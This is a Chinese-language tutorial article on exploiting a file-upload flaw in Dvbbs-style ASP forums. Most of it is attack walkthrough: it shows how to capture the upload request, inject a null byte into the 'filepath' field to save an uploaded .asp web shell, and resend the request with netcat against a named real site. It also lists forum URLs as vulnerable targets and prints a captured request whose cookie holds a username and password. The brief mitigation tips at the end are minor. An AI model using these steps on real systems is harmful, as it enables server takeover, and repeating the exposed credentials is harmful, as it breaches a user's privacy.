菜鸟知识点 上传漏洞终结篇 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    一、写在前面

    ***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本***

    NC(Netcat)

    用于提交数据包

    DOS界面下运行:

    NC -vv www.***.com 80<1.txt

    -vv: 回显

    80: www端口

    1.txt: 就是你要发送的数据包

    (更多使用方法请查看本区的帖子)

    WSE(WSockExpert)

    对本机端口的监视,抓取IE提交的数据包

    (不会用的就自己到网上搜资料N多)

    二、漏洞原理

    下面例子假设的前提

    www主机: www.***.com;

    bbs路径 : /bbs/

    漏洞源于对动网上传文件的研究,建议有一定编程经验的

    看看Dvbbs的upfile.asp文件,没有必要全部看懂

    upfile是通过生成一个form表上传,如下

   

   

   

   

   

   

    用到的变量:

    filepath 默认值uploadface 属性hiden

    act 默认值upload 属性hiden

    file1 就是你要传的那个文件

    关键是 filepath 这个变量!

    默认情况下我们的文件上传到www.***.com/bbs/uploadface/

    文件是用你的上传时间命名的,就是upfile里的这一句

    FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt

    --------------------------------------

    我们知道计算机里面的数据是一"\0"为标致的用过C语言的都知道

    char data[]="bbs"

    这个data数组长度是4: b b s \0

    如果我们构造filepath如下,会怎么样呢?

    filepath="/newmm.asp\0"

    我们在2004.09.24.08.24传的文件就会发生变化

    没有改时:

    http://www.***.com/bbs/uploadface/200409240824.jpg

    用我们构造的filepath时:

    http://www.***.com/newmm.asp\0/200409240824.jpg

    这样当服务器接收filepath数据时,检测到newmm.asp后面的\0

    就理解为filepath的数据就结束了

    这样我们上传的文件,比如c:\1.asp

    就保存成: http://www.***.com/newmm.asp

    三、后期补充

    漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行

    有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个

    上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊,

菜鸟知识点 上传漏洞终结篇

。。

    而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具

    自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。

    就算他加N个hiden变量也于事无补。

    当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结

    就是我们的新理论诞生的时候!

    四、漏洞列表

    http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369

    http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530

    http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531

    http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693

    http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731

    http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746

    监听外部主机

    NC [-options] hostname port[s] [ports] ...

    监听本地主机

    NC -l -p port [options] [hostname] [port]

    options:

    -d detach from console, stealth mode

    -e prog inbound program to exec [dangerous!!]

    -g gateway source-routing hop point[s], up to 8

    -G num source-routing pointer: 4, 8, 12, ...

    -h this cruft

    -i secs delay interval for lines sent, ports scanned

    -l listen mode, for inbound connects

    -L listen harder, re-listen on socket close

    -n numeric-only IP addresses, no DNS

    -o file hex dump of traffic

    -p port local port number

    -r randomize local and remote ports

    -s addr local source address

    -t answer TELNET negotiation

    -u UDP mode

    -v verbose [use twice to be more verbose]

    -w secs timeout for connects and final net reads

    -z zero-I/O mode [used for scanning]

    port numbers can be individual or ranges: m-n [inclusive]

    详细实例:

    -----------------------------

    一、WSE抓包结果(存到1.txt里):

    POST /bbs/upPhoto/upfile.asp HTTP/1.1

    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

    Referer: http://www.xin126.com/bbs/upPhoto/upload.asp

    Accept-Language: zh-cn

    Content-Type: multipart/form-data; boundary=-----------7d423a138d0278

    Accept-Encoding: gzip, deflate

    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)

    Host: www.xin126.com

    Content-Length: 1969

    Connection: Keep-Alive

    Cache-Control: no-cache

    Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84

    -----------------------------7d423a138d0278

    Content-Disposition: form-data; name="filepath"

    ../medias/myPhoto/

    -----------------------------7d423a138d0278

    ... ...

    上传

    ---------------7d423a138d0278-----------------

    二、UltraEdit打开1.txt改数据:

    ......

    -----------------------------7d423a138d0278

    Content-Disposition: form-data; name="filepath"

    /newmm.asp█ <===这个黑色代表一个空格是 0x20,改成0x00就可以了

    ......

    ----------------------------

    三、重新计算cookies长度,然后nc提交

    Nc -vv www.xin126.com 80 <1.txt

    UltraEdit是一个16位编辑器网上可以下载得到

    我们主要用来写那个结束标致: \0 ====>16位表示:0x00或者00H

    其实你改的时候就直接再filepath的结尾处加个00就OK了

    计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了

    ......

    Host: www.xin126.com

    Content-Length: 1969 <======就是这个

    Connection: Keep-Alive

    Cache-Control: no-cache

    ......

    计算会吧?一个字母、数字就是1

    对于上传漏洞提出的解决思路:(仅供参考)

    1、一般的上传是把上传路径作为一个变量来处理

    ===>我们的对策就是把filepath变成常量,

电脑资料

菜鸟知识点 上传漏洞终结篇》(https://www.unjs.com)。。。

    这个方法是目前最有效的(我认为的)

    2、加强对于\0的处理,原来我们是读到这里就结束

    我们继续读直道下一个变量开始的地方,处理就OK了

最新文章